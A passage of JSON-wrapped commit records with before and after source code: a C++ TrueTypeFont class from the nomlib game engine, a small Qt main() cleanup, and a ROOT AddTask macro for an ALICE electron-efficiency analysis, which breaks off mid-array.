std::shared_ptr<TTF_Font> ( TTF_OpenFont ( filename.c_str(), this->font_size ), nom::priv::TTF_FreeFont );\n\n if ( this->valid() == false )\n {\nNOM_LOG_ERR ( NOM, \"Could not load TTF file: \" + filename );\n return false;\n }\n\n \/\/ Store the new filename & caching choice for future reference; primarily\n \/\/ used when rebuilding font metrics, such as when we change the font point\n \/\/ size or load a new font.\n this->filename = filename;\n this->use_cache = use_cache;\n\n return true;\n}\n\nvoid TrueTypeFont::update ( void )\n{\n \/\/ Update display coordinates\n this->font_buffer.set_position ( Point2i ( this->coords.x, this->coords.y ) );\n\n \/\/ Update the rendered text surface here for drawing\n if ( this->getText().c_str() == nullptr ) return;\n\n if ( this->rendering == RenderStyle::Shaded ) \/\/ Moderate-quality\n {\n this->font_buffer.initialize ( TTF_RenderText_Shaded\n (\n this->font.get(),\n this->getText().c_str(),\n SDL_COLOR(this->color),\n \/\/ TODO; implement me -- a second color\n \/\/ possibility means needing two colors in\n \/\/ class\n SDL_COLOR ( Color4u ( 97, 97, 97 ) )\n )\n );\n }\n else if ( this->rendering == RenderStyle::Blended ) \/\/ Highest-quality\n {\n this->font_buffer.initialize ( TTF_RenderText_Blended\n (\n this->font.get(),\n this->getText().c_str(),\n SDL_COLOR(this->color)\n )\n );\n }\n else \/\/ Low-quality rendering (the default)\n {\n this->font_buffer.initialize ( TTF_RenderText_Solid\n (\n this->font.get(),\n this->getText().c_str(),\n SDL_COLOR(this->color)\n )\n );\n }\n\n if ( this->text_style == FontStyle::Faded )\n {\n this->font_buffer.set_alpha ( this->style_options );\n }\n}\n\nvoid TrueTypeFont::draw ( SDL_Renderer* target ) const\n{\n if ( this->font_buffer.valid() )\n {\n this->font_buffer.draw ( target );\n }\n}\n\nvoid TrueTypeFont::draw ( const Window& target ) const\n{\n if ( this->font_buffer.valid() )\n {\n this->font_buffer.draw ( target.renderer() );\n }\n}\n\nbool TrueTypeFont::rebuild ( void )\n{\n if ( this->load ( this->filename, NOM_COLOR4U_BLACK, this->use_cache ) == false )\n {\nNOM_LOG_ERR ( NOM, \"Could not rebuild font metrics.\" );\n return false;\n }\n\n return true;\n}\n\nnamespace priv {\n\nvoid Free_TrueTypeFont ( TrueTypeFont* ptr )\n{\n \/\/ Do nothing custom deleter\n \/\/\n \/\/ FIXME; this is a known bug (memory leak).\n}\n\n} \/\/ namespace priv\n} \/\/ namespace nom\n\n<commit_msg>TrueTypeFont: Add additional validity checks<commit_after>\/******************************************************************************\n\n nomlib - C++11 cross-platform game engine\n\nCopyright (c) 2013, Jeffrey Carpenter <jeffrey.carp@gmail.com>\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n******************************************************************************\/\n#include \"nomlib\/graphics\/TrueTypeFont.hpp\"\n\nnamespace nom {\n\nTrueTypeFont::TrueTypeFont ( void )\n{\nNOM_LOG_TRACE ( NOM );\n\n this->font = nullptr;\n this->coords = Coords ( 0, 0, 0, 0 );\n this->color = Color4u ( 0, 0, 0 );\n this->text_buffer = \"\\0\";\n this->text_style = FontStyle::Regular; \/\/ default text styling effect\n this->text_alignment = TextAlignment::MiddleLeft;\n this->rendering = RenderStyle::Solid; \/\/ Fast, but ugly\n this->style_options = 0;\n this->filename = \"\\0\";\n this->font_size = 12;\n this->use_cache = false;\n}\n\nTrueTypeFont::~TrueTypeFont ( void )\n{\nNOM_LOG_TRACE ( NOM );\n}\n\nIFont::SharedPtr TrueTypeFont::clone ( void ) const\n{\n return IFont::SharedPtr ( new TrueTypeFont ( *this ), priv::Free_TrueTypeFont );\n}\n\nbool TrueTypeFont::valid ( void ) const\n{\n if ( this->font.get() != nullptr )\n {\n return true;\n }\n else\n {\n return false;\n }\n}\n\nconst std::string& TrueTypeFont::getText ( void ) const\n{\n return this->text_buffer;\n}\n\nint32 TrueTypeFont::getFontWidth ( void ) const\n{\n return this->coords.width;\n}\n\nint32 TrueTypeFont::getFontHeight ( void ) const\n{\n return this->coords.height;\n}\n\nIFont::FontStyle TrueTypeFont::getFontStyle ( void ) const\n{\n return this->text_style;\n}\n\nconst Color4u& TrueTypeFont::getColor ( void ) const\n{\n return this->color;\n}\n\nconst Coords& TrueTypeFont::getPosition ( void ) const\n{\n return this->coords;\n}\n\nuint32 TrueTypeFont::getNewline ( void ) const\n{\n \/\/ Not implemented\n return 0;\n}\n\nuint32 TrueTypeFont::getSpacing ( void ) const\n{\n \/\/ Not implemented\n return 0;\n}\n\nIFont::TextAlignment TrueTypeFont::getTextJustification ( void ) const\n{\n return this->text_alignment;\n}\n\nvoid TrueTypeFont::setColor ( const Color4u& color )\n{\n this->color = color;\n}\n\nvoid TrueTypeFont::setPosition ( const Coords& coords )\n{\n this->coords.x = coords.x;\n this->coords.y = coords.y;\n}\n\nvoid TrueTypeFont::setFontSize ( int32 point_size )\n{\n int32 original_font_size = this->font_size;\n\n this->font_size = point_size;\n\n if ( this->rebuild() == false )\n {\nNOM_LOG_ERR ( NOM, \"Could not set new font size.\" );\n this->font_size = original_font_size;\n return;\n }\n}\n\nvoid TrueTypeFont::setFontStyle ( int32 style, uint8 options )\n{\n switch ( style )\n {\n default: break;\n case FontStyle::Regular:\n {\n TTF_SetFontStyle ( this->font.get(), TTF_STYLE_NORMAL );\n }\n break;\n\n case FontStyle::Bold:\n {\n TTF_SetFontStyle ( this->font.get(), TTF_STYLE_BOLD );\n }\n break;\n\n case FontStyle::Italic:\n {\n TTF_SetFontStyle ( this->font.get(), TTF_STYLE_ITALIC );\n }\n break;\n\n case FontStyle::Underlined:\n {\n TTF_SetFontStyle ( this->font.get(), TTF_STYLE_UNDERLINE );\n }\n break;\n\n \/\/\/ Text effect utilizing alpha channels for the appearance of gray text\n case FontStyle::Faded:\n {\n this->text_style = FontStyle::Faded;\n this->style_options = options;\n break;\n }\n }\n}\n\nint32 TrueTypeFont::getFontOutline ( void ) const\n{\n return TTF_GetFontOutline ( this->font.get() );\n}\n\nvoid TrueTypeFont::setFontOutline ( int32 depth )\n{\n TTF_SetFontOutline ( this->font.get(), depth );\n}\n\nIFont::RenderStyle TrueTypeFont::getRenderingStyle ( void ) const\n{\n return this->rendering;\n}\n\nvoid TrueTypeFont::setRenderingStyle ( IFont::RenderStyle style )\n{\n this->rendering = style;\n}\n\nvoid TrueTypeFont::setText ( const std::string& text )\n{\n if ( text.length() < 1 ) return;\n\n this->text_buffer = text;\n\n \/\/ Font is not valid -- TTF_SizeText will crash if we go further\n if ( ! this->valid() ) return;\n\n \/\/ Update the width & height of text string, if we can\n if ( TTF_SizeText ( this->font.get(), this->text_buffer.c_str(), &this->coords.width, &this->coords.height ) == -1 )\n {\nNOM_LOG_ERR ( NOM, \"Failed to set font width & height.\" );\n }\n}\n\nvoid TrueTypeFont::setSpacing ( uint32 spaces )\n{\n \/\/ Not implemented\n}\n\nvoid TrueTypeFont::setTextJustification ( IFont::TextAlignment alignment )\n{\n this->text_alignment = alignment;\n}\n\nbool TrueTypeFont::load ( const std::string& filename, const Color4u& colorkey,\n bool use_cache\n )\n{\n this->font = std::shared_ptr<TTF_Font> ( TTF_OpenFont ( filename.c_str(), this->font_size ), nom::priv::TTF_FreeFont );\n\n if ( this->valid() == false )\n {\nNOM_LOG_ERR ( NOM, \"Could not load TTF file: \" + filename );\n return false;\n }\n\n \/\/ Store the new filename & caching choice for future reference; primarily\n \/\/ used when rebuilding font metrics, such as when we change the font point\n \/\/ size or load a new font.\n this->filename = filename;\n this->use_cache = use_cache;\n\n return true;\n}\n\nvoid TrueTypeFont::update ( void )\n{\n \/\/ Font is not valid -- nothing to draw\n if ( ! this->valid() ) return;\n\n \/\/ No text string set -- nothing to draw\n if ( this->getText().length() < 1 ) return;\n\n \/\/ Update display coordinates\n this->font_buffer.set_position ( Point2i ( this->coords.x, this->coords.y ) );\n\n \/\/ Update the rendered text surface here for drawing\n if ( this->rendering == RenderStyle::Shaded ) \/\/ Moderate-quality\n {\n this->font_buffer.initialize ( TTF_RenderText_Shaded\n (\n this->font.get(),\n this->getText().c_str(),\n SDL_COLOR(this->color),\n \/\/ TODO; implement me -- a second color\n \/\/ possibility means needing two colors in\n \/\/ class\n SDL_COLOR ( Color4u ( 97, 97, 97 ) )\n )\n );\n }\n else if ( this->rendering == RenderStyle::Blended ) \/\/ Highest-quality\n {\n this->font_buffer.initialize ( TTF_RenderText_Blended\n (\n this->font.get(),\n this->getText().c_str(),\n SDL_COLOR(this->color)\n )\n );\n }\n else \/\/ Low-quality rendering (the default)\n {\n this->font_buffer.initialize ( TTF_RenderText_Solid\n (\n this->font.get(),\n this->getText().c_str(),\n SDL_COLOR(this->color)\n )\n );\n }\n\n if ( this->text_style == FontStyle::Faded )\n {\n this->font_buffer.set_alpha ( this->style_options );\n }\n}\n\nvoid TrueTypeFont::draw ( SDL_Renderer* target ) const\n{\n if ( this->font_buffer.valid() )\n {\n this->font_buffer.draw ( target );\n }\n}\n\nvoid TrueTypeFont::draw ( const Window& target ) const\n{\n if ( this->font_buffer.valid() )\n {\n this->font_buffer.draw ( target.renderer() );\n }\n}\n\nbool TrueTypeFont::rebuild ( void )\n{\n if ( this->load ( this->filename, NOM_COLOR4U_BLACK, this->use_cache ) == false )\n {\nNOM_LOG_ERR ( NOM, \"Could not rebuild font metrics.\" );\n return false;\n }\n\n return true;\n}\n\nnamespace priv {\n\nvoid Free_TrueTypeFont ( TrueTypeFont* ptr )\n{\n \/\/ Do nothing custom deleter\n \/\/\n \/\/ FIXME; this is a known bug (memory leak).\n}\n\n} \/\/ namespace priv\n} \/\/ namespace nom\n\n<|endoftext|>"} {"text":"<commit_before><commit_msg>only one constructor with defaults<commit_after><|endoftext|>"} {"text":"<commit_before>#include \"mainwindow.hxx\"\n#include <QApplication>\n#include <windows.h>\n\nint main(int argc, char *argv[])\n{\n\tQApplication a(argc, argv);\n\tMainWindow w;\n\tw.show();\n\t\n\treturn a.exec();\n}\n<commit_msg>minor source code cleanup<commit_after>#include \"mainwindow.hxx\"\n#include <QApplication>\n\nint main(int argc, char *argv[])\n{\n\tQApplication a(argc, argv);\n\tMainWindow w;\n\tw.show();\n\t\n\treturn a.exec();\n}\n<|endoftext|>"} {"text":"<commit_before>AliAnalysisTaskElectronEfficiencyV2* AddTask_rbailhac_ElectronEfficiencyV2_PbPb(Bool_t getFromAlien = kFALSE,\n\t\t\t\t\t\t\t\t\t\tTString cFileName =\"Config_rbailhac_ElectronEfficiencyV2_PbPb.C\",\n\t\t\t\t\t\t\t\t\t\tUInt_t trigger = AliVEvent::kINT7,\n\t\t\t\t\t\t\t\t\t\tInt_t rejpileup = 1,\n\t\t\t\t\t\t\t\t\t\tconst Int_t CenMin = 0,\n\t\t\t\t\t\t\t\t\t\tconst Int_t CenMax = 10,\n\t\t\t\t\t\t\t\t\t\tconst Float_t PtMin = 0.2,\n\t\t\t\t\t\t\t\t\t\tconst Float_t PtMax = 10.0,\n\t\t\t\t\t\t\t\t\t\tconst Float_t EtaMin = -0.8,\n\t\t\t\t\t\t\t\t\t\tconst Float_t EtaMax = +0.8,\n\t\t\t\t\t\t\t\t\t\tconst Bool_t UsePtVec = kTRUE,\n\t\t\t\t\t\t\t\t\t\tconst Bool_t DoULSLS = kTRUE,\n\t\t\t\t\t\t\t\t\t\tconst TString generators = \"pizero_0;eta_1;etaprime_2;rho_3;omega_4;phi_5;jpsi_6;Pythia CC_0;Pythia BB_0;Pythia B_0;\",\n\t\t\t\t\t\t\t\t\t\tconst std::string resolutionFilename =\"\",\n\t\t\t\t\t\t\t\t\t\tconst std::string cocktailFilename =\"\",\n\t\t\t\t\t\t\t\t\t\tconst std::string centralityFilename =\"\",\n\t\t\t\t\t\t\t\t\t\tconst TString outname = \"LMEE.root\")\n{\n\n \/\/get the current analysis manager\n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n if (!mgr) {\n Error(\"AddTask_rbailhac_test\", \"No analysis manager found.\");\n return 0;\n }\n \n \/\/Base Directory for GRID \/ LEGO Train\n TString configBasePath= \"$ALICE_PHYSICS\/PWGDQ\/dielectron\/macrosLMEE\/\";\n if(getFromAlien && (!gSystem->Exec(Form(\"alien_cp alien:\/\/\/alice\/cern.ch\/user\/r\/rbailhac\/PWGDQ\/dielectron\/macrosLMEE\/%s .\",cFileName.Data()))) ){\n configBasePath=Form(\"%s\/\",gSystem->pwd());\n }\n\n TString configFilePath(configBasePath+cFileName);\n\n std::cout << \"Configpath: \" << configFilePath << std::endl;\n\n if (!gROOT->GetListOfGlobalFunctions()->FindObject(\"Config_rbailhac_ElectronEfficiencyV2_PbPb\")) {\n printf(\"Load macro now\\n\");\n gROOT->LoadMacro(configFilePath.Data());\n }\n\n \/\/ trigger\n TString triggername = \"NULL\";\n if(trigger == (UInt_t)AliVEvent::kINT7) triggername = \"kINT7\";\n else if(trigger == (UInt_t)AliVEvent::kCentral) triggername = \"kCentral\";\n else if(trigger == (UInt_t)AliVEvent::kSemiCentral) triggername = \"kSemiCentral\";\n else if(trigger == (UInt_t)(AliVEvent::kINT7 | AliVEvent::kCentral | AliVEvent::kSemiCentral)) triggername = \"kCombinedCentralityTriggers\";\n else if(trigger == (UInt_t)(AliVEvent::kINT7 | AliVEvent::kCentral)) triggername = \"kCombinedCentral\";\n else if(trigger == (UInt_t)(AliVEvent::kINT7 | AliVEvent::kSemiCentral)) triggername = \"kCombinedSemiCentral\";\n\n \/\/ generators\n TString suffixgen = \"\";\n if(generators.Contains(\"Pythia CC\") && (generators.Contains(\"Pythia BB\") || generators.Contains(\"Pythia B\"))) suffixgen = \"_CC_BB\";\n else if(generators.Contains(\"Pythia CC\")) suffixgen = \"_CC\";\n else if(generators.Contains(\"Pythia BB\") || generators.Contains(\"Pythia B\")) suffixgen = \"_BB\";\n else if(generators.Contains(\"pizero_0\")) suffixgen = \"_LF\";\n else suffixgen = \"\";\n\n \/\/ generator index\n TString suffixgenID = \"\";\n std::vector<UInt_t> genID;\n const Int_t ngenID = (Int_t)gROOT->ProcessLine(\"GetGenID()\");\n if(ngenID > 0) {\n for (unsigned int i = 0; i < ngenID+1; ++i){\n UInt_t valuegenID = (UInt_t)(gROOT->ProcessLine(Form(\"GetGenID(%d)\",i)));\n genID.push_back(valuegenID);\n suffixgenID += valuegenID;\n }\n }\n \n \/\/create task and add it to the manager (MB)\n TString appendix;\n appendix += TString::Format(\"Cen%d_%d_%s_%s_%s_Pileup%d\",CenMin,CenMax,triggername.Data(),suffixgen.Data(),suffixgenID.Data(),rejpileup);\n printf(\"appendix %s\\n\", appendix.Data());\n\n \/\/##########################################################\n \/\/############################################################\n \/\/ Creating an instance of the task\n AliAnalysisTaskElectronEfficiencyV2* task = new AliAnalysisTaskElectronEfficiencyV2(Form(\"TaskElectronEfficiencyV2_%s\",appendix.Data()));\n gROOT->GetListOfSpecials()->Add(task);\/\/this is only for ProcessLine(AddMCSignal);\n\n \n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Set TOF correction\n \/\/ if(tofcor){\n \/\/ SetEtaCorrectionTOFRMS(task, AliDielectronVarManager::kP, AliDielectronVarManager::kEta);\n \/\/ SetEtaCorrectionTOFMean(task, AliDielectronVarManager::kP, AliDielectronVarManager::kEta); \n \/\/}\n\n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Event selection. Is the same for all the different cutsettings\n task->SetEnablePhysicsSelection(kTRUE);\/\/always ON in Run2 analyses for both data and MC.\n task->SetTriggerMask(trigger);\n task->SetEventFilter((reinterpret_cast<AliDielectronEventCuts*>(gROOT->ProcessLine(Form(\"GetEventCuts(%f,%f,%d,\\\"%s\\\")\",(Float_t)CenMin,(Float_t)CenMax,rejpileup,\"V0M\")))));\n\n \n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Set minimum and maximum values of generated tracks. Only used to save computing power.\n \/\/ Do not set here your analysis pt-cuts\n task->SetMinPtGen(0.1);\n task->SetMaxPtGen(1e+10);\n task->SetMinEtaGen(-1.5);\n task->SetMaxEtaGen(+1.5);\n\n\n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Set minimum and maximum values for pairing\n task->SetKinematicCuts(PtMin, PtMax, EtaMin, EtaMax);\n\n\n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Set Binning single variables\n if (UsePtVec == true) {\n const Int_t Npt = 68;\n Double_t pte[Npt] = {0.00,0.10,0.11,0.12,0.13,0.14,0.15,0.155,0.16,0.165,0.17,0.175,0.18,0.185,0.19,0.195,0.20,0.205,0.21,0.215,0.22,0.225,0.23,0.235,0.24,0.245,0.25,0.255,0.26,0.265,0.27,0.275,0.28,0.285,0.29,0.295,0.30,0.32,0.34,0.36,0.38,0.40,0.43,0.46,0.49,0.52,0.55,0.60,0.65,0.70,0.75,0.80,0.90,1.00,1.10,1.20,1.40,1.60,1.80,2.00,2.40,2.80,3.20,3.70,4.50,6.00,8.00,12.0};\n std::vector<double> v_pte(pte,std::end(pte));\n task->SetPtBins(v_pte);\n }\n else task->SetPtBinsLinear (0, 10, 100);\n task->SetEtaBinsLinear (-1.,1.,20); \/\/ 40 before\n task->SetPhiBinsLinear (0, TMath::TwoPi(), 36); \/\/ 90 before\n task->SetThetaBinsLinear(0, TMath::TwoPi(), 60);\n\n \/\/ pair variables\n const Int_t Nmee = 150;\n Double_t mee[Nmee] = {};\n for(Int_t i=0 ;i<110 ;i++) mee[i] = 0.01 * (i- 0) + 0.0;\/\/from 0 to 1.09 GeV\/c2, every 0.01 GeV\/c2\n for(Int_t i=110;i<Nmee;i++) mee[i] = 0.1 * (i-110) + 1.1;\/\/from 1.1 to 5 GeV\/c2, evety 0.1 GeV\/c2\n std::vector<double> v_mee(mee,std::end(mee));\n \n const Int_t NpTee = 130;\n Double_t pTee[NpTee] = {};\n for(Int_t i=0 ;i<20 ;i++) pTee[i] = 0.005 * (i- 0) + 0.0;\/\/from 0 to 0.095 GeV\/c, every 0.005 GeV\/c\n for(Int_t i=20 ;i<119 ;i++) pTee[i] = 0.1 * (i- 20) + 0.1;\/\/from 0.1 to 9.9 GeV\/c, evety 0.1 GeV\/c\n for(Int_t i=119;i<NpTee;i++) pTee[i] = 1.0 * (i-119) + 10.0;\/\/from 10 to 20 GeV\/c, evety 1.0 GeV\/c\n std::vector<double> v_pTee(pTee,std::end(pTee));\n task->SetMassBins(v_mee);\n task->SetPairPtBins(v_pTee);\n \/\/task->SetPhiVBinsLinear(0, TMath::Pi(), 100);\n \/\/task->SetFillPhiV(kTRUE);\n\n \n \/\/ #########################################################\n \/\/ #########################################################\n \/\/task->SetSmearGenerated(kFALSE); \/\/ cross check smearing the MC at single level and filling resolution maps\n \/\/ Resolution File, If resoFilename = \"\" no correction is applied\n task->SetResolutionFile(resolutionFilename);\n task->SetResolutionFileFromAlien(\"\/alice\/cern.ch\/user\/r\/rbailhac\/supportFiles\/\" + resolutionFilename);\n task->SetResolutionDeltaPtBinsLinear (-10., 2., (Int_t)gROOT->ProcessLine(\"GetNbinsDeltaMom()\"));\n task->SetResolutionRelPtBinsLinear (0., 2., (Int_t)gROOT->ProcessLine(\"GetNbinsRelMom()\"));\n task->SetResolutionEtaBinsLinear (-0.4, 0.4, (Int_t)gROOT->ProcessLine(\"GetNbinsDeltaEta()\"));\n task->SetResolutionPhiBinsLinear (-0.4, 0.4, (Int_t)gROOT->ProcessLine(\"GetNbinsDeltaPhi()\"));\n task->SetResolutionThetaBinsLinear(-0.4, 0.4, (Int_t)gROOT->ProcessLine(\"GetNbinsDeltaTheta()\"));\n\n \/\/###########################################################\n \/\/############################################################\n \/\/ Set MCSignal and Cutsetting to fill the support histograms\n task->SetSupportHistoMCSignalAndCutsetting(0,0);\/\/fill support histograms for first MCsignal and first cutsetting\n\n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Set centrality correction. If resoFilename = \"\" no correction is applied\n task->SetCentralityFile(centralityFilename);\n\n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Pairing related config\n task->SetDoPairing(kTRUE);\n task->SetULSandLS(DoULSLS);\n\n \/\/#####################################################\n \/\/######################################################\n \/\/ Generators\n cout<<\"Efficiency based on MC generators: \" << generators <<endl;\n TString generatorsPair=generators;\n task->SetGeneratorMCSignalName(generatorsPair);\n task->SetGeneratorULSSignalName(generators);\n\n\n \/\/#################################################\n \/\/#################################################\n \/\/ generator ID to select pile-up or not\n if(ngenID > 0) {\n task->SetGeneratorMCSignalIndex(genID);\n task->SetGeneratorULSSignalIndex(genID);\n task->SetCheckGenID(kTRUE);\n }\n \n \/\/###############################################\n \/\/##############################################\n task->SetCocktailWeighting(cocktailFilename);\n task->SetCocktailWeightingFromAlien(\"\/alice\/cern.ch\/user\/r\/rbailhac\/supportFiles\/\" + cocktailFilename);\n \n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Add MCSignals. Can be set to see differences of:\n \/\/ e.g. secondaries and primaries. or primaries from charm and resonances\n gROOT->ProcessLine(Form(\"AddSingleLegMCSignal(%s)\",task->GetName()));\/\/not task itself, task name\n gROOT->ProcessLine(Form(\"AddPairMCSignal(%s)\" ,task->GetName()));\/\/not task itself, task name\n\n\n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Adding cutsettings\n \/\/ Cuts\n \/\/ Number of cuts\n const Int_t nDie = (Int_t)gROOT->ProcessLine(\"GetN()\");\n \/\/add dielectron analysis with different cuts to the task\n for (Int_t i=0; i<nDie; ++i){ \/\/nDie defined in config file\n AliAnalysisFilter *filter = reinterpret_cast<AliAnalysisFilter*>(gROOT->ProcessLine(Form(\"Config_rbailhac_ElectronEfficiencyV2_PbPb(%d)\",i)));\n task->AddTrackCuts(filter);\n }\n \n\n \/\/########################################\n \/\/########################################\n TString outlistname = Form(\"efficiency_%s\",appendix.Data());\n const TString fileName = outname;\n mgr->AddTask(task);\n mgr->ConnectInput(task, 0, mgr->GetCommonInputContainer());\n mgr->ConnectOutput(task, 1, mgr->CreateContainer(outlistname, TList::Class(), AliAnalysisManager::kOutputContainer, Form(\"%s\",fileName.Data())));\n\n\n return task;\n}\n<commit_msg>Add PID MC post calibration<commit_after>AliAnalysisTaskElectronEfficiencyV2* AddTask_rbailhac_ElectronEfficiencyV2_PbPb(Bool_t getFromAlien = kFALSE,\n\t\t\t\t\t\t\t\t\t\tTString cFileName =\"Config_rbailhac_ElectronEfficiencyV2_PbPb.C\",\n\t\t\t\t\t\t\t\t\t\tUInt_t trigger = AliVEvent::kINT7,\n\t\t\t\t\t\t\t\t\t\tInt_t rejpileup = 1,\n\t\t\t\t\t\t\t\t\t\tconst Int_t CenMin = 0,\n\t\t\t\t\t\t\t\t\t\tconst Int_t CenMax = 10,\n\t\t\t\t\t\t\t\t\t\tconst Float_t PtMin = 0.2,\n\t\t\t\t\t\t\t\t\t\tconst Float_t PtMax = 10.0,\n\t\t\t\t\t\t\t\t\t\tconst Float_t EtaMin = -0.8,\n\t\t\t\t\t\t\t\t\t\tconst Float_t EtaMax = +0.8,\n\t\t\t\t\t\t\t\t\t\tconst Bool_t UsePtVec = kTRUE,\n\t\t\t\t\t\t\t\t\t\tconst Bool_t DoULSLS = kTRUE,\n\t\t\t\t\t\t\t\t\t\tconst TString generators = \"pizero_0;eta_1;etaprime_2;rho_3;omega_4;phi_5;jpsi_6;Pythia CC_0;Pythia BB_0;Pythia B_0;\",\n\t\t\t\t\t\t\t\t\t\tconst std::string resolutionFilename =\"\",\n\t\t\t\t\t\t\t\t\t\tconst std::string cocktailFilename =\"\",\n\t\t\t\t\t\t\t\t\t\tconst std::string centralityFilename =\"\",\n\t\t\t\t\t\t\t\t\t\tTString calibFileName = \"\",\n\t\t\t\t\t\t\t\t\t\tconst TString outname = \"LMEE.root\")\n{\n\n \/\/get the current analysis manager\n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n if (!mgr) {\n Error(\"AddTask_rbailhac_test\", \"No analysis manager found.\");\n return 0;\n }\n \n \/\/Base Directory for GRID \/ LEGO Train\n TString configBasePath= \"$ALICE_PHYSICS\/PWGDQ\/dielectron\/macrosLMEE\/\";\n if(getFromAlien && (!gSystem->Exec(Form(\"alien_cp alien:\/\/\/alice\/cern.ch\/user\/r\/rbailhac\/PWGDQ\/dielectron\/macrosLMEE\/%s .\",cFileName.Data()))) ){\n configBasePath=Form(\"%s\/\",gSystem->pwd());\n }\n\n TString configFilePath(configBasePath+cFileName);\n\n std::cout << \"Configpath: \" << configFilePath << std::endl;\n\n if (!gROOT->GetListOfGlobalFunctions()->FindObject(\"Config_rbailhac_ElectronEfficiencyV2_PbPb\")) {\n printf(\"Load macro now\\n\");\n gROOT->LoadMacro(configFilePath.Data());\n }\n\n \/\/ trigger\n TString triggername = \"NULL\";\n if(trigger == (UInt_t)AliVEvent::kINT7) triggername = \"kINT7\";\n else if(trigger == (UInt_t)AliVEvent::kCentral) triggername = \"kCentral\";\n else if(trigger == (UInt_t)AliVEvent::kSemiCentral) triggername = \"kSemiCentral\";\n else if(trigger == (UInt_t)(AliVEvent::kINT7 | AliVEvent::kCentral | AliVEvent::kSemiCentral)) triggername = \"kCombinedCentralityTriggers\";\n else if(trigger == (UInt_t)(AliVEvent::kINT7 | AliVEvent::kCentral)) triggername = \"kCombinedCentral\";\n else if(trigger == (UInt_t)(AliVEvent::kINT7 | AliVEvent::kSemiCentral)) triggername = \"kCombinedSemiCentral\";\n\n \/\/ generators\n TString suffixgen = \"\";\n if(generators.Contains(\"Pythia CC\") && (generators.Contains(\"Pythia BB\") || generators.Contains(\"Pythia B\"))) suffixgen = \"_CC_BB\";\n else if(generators.Contains(\"Pythia CC\")) suffixgen = \"_CC\";\n else if(generators.Contains(\"Pythia BB\") || generators.Contains(\"Pythia B\")) suffixgen = \"_BB\";\n else if(generators.Contains(\"pizero_0\")) suffixgen = \"_LF\";\n else suffixgen = \"\";\n\n \/\/ generator index\n TString suffixgenID = \"\";\n std::vector<UInt_t> genID;\n const Int_t ngenID = (Int_t)gROOT->ProcessLine(\"GetGenID()\");\n if(ngenID > 0) {\n for (unsigned int i = 0; i < ngenID+1; ++i){\n UInt_t valuegenID = (UInt_t)(gROOT->ProcessLine(Form(\"GetGenID(%d)\",i)));\n genID.push_back(valuegenID);\n suffixgenID += valuegenID;\n }\n }\n \n \/\/create task and add it to the manager (MB)\n TString appendix;\n appendix += TString::Format(\"Cen%d_%d_%s_%s_%s_Pileup%d\",CenMin,CenMax,triggername.Data(),suffixgen.Data(),suffixgenID.Data(),rejpileup);\n printf(\"appendix %s\\n\", appendix.Data());\n\n \/\/##########################################################\n \/\/############################################################\n \/\/ Creating an instance of the task\n AliAnalysisTaskElectronEfficiencyV2* task = new AliAnalysisTaskElectronEfficiencyV2(Form(\"TaskElectronEfficiencyV2_%s\",appendix.Data()));\n gROOT->GetListOfSpecials()->Add(task);\/\/this is only for ProcessLine(AddMCSignal);\n\n \n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Set TOF correction\n \/\/ if(tofcor){\n \/\/ SetEtaCorrectionTOFRMS(task, AliDielectronVarManager::kP, AliDielectronVarManager::kEta);\n \/\/ SetEtaCorrectionTOFMean(task, AliDielectronVarManager::kP, AliDielectronVarManager::kEta); \n \/\/}\n\n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Event selection. Is the same for all the different cutsettings\n task->SetEnablePhysicsSelection(kTRUE);\/\/always ON in Run2 analyses for both data and MC.\n task->SetTriggerMask(trigger);\n task->SetEventFilter((reinterpret_cast<AliDielectronEventCuts*>(gROOT->ProcessLine(Form(\"GetEventCuts(%f,%f,%d,\\\"%s\\\")\",(Float_t)CenMin,(Float_t)CenMax,rejpileup,\"V0M\")))));\n\n \n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Set minimum and maximum values of generated tracks. Only used to save computing power.\n \/\/ Do not set here your analysis pt-cuts\n task->SetMinPtGen(0.1);\n task->SetMaxPtGen(1e+10);\n task->SetMinEtaGen(-1.5);\n task->SetMaxEtaGen(+1.5);\n\n\n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Set minimum and maximum values for pairing\n task->SetKinematicCuts(PtMin, PtMax, EtaMin, EtaMax);\n\n\n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Set Binning single variables\n if (UsePtVec == true) {\n const Int_t Npt = 68;\n Double_t pte[Npt] = 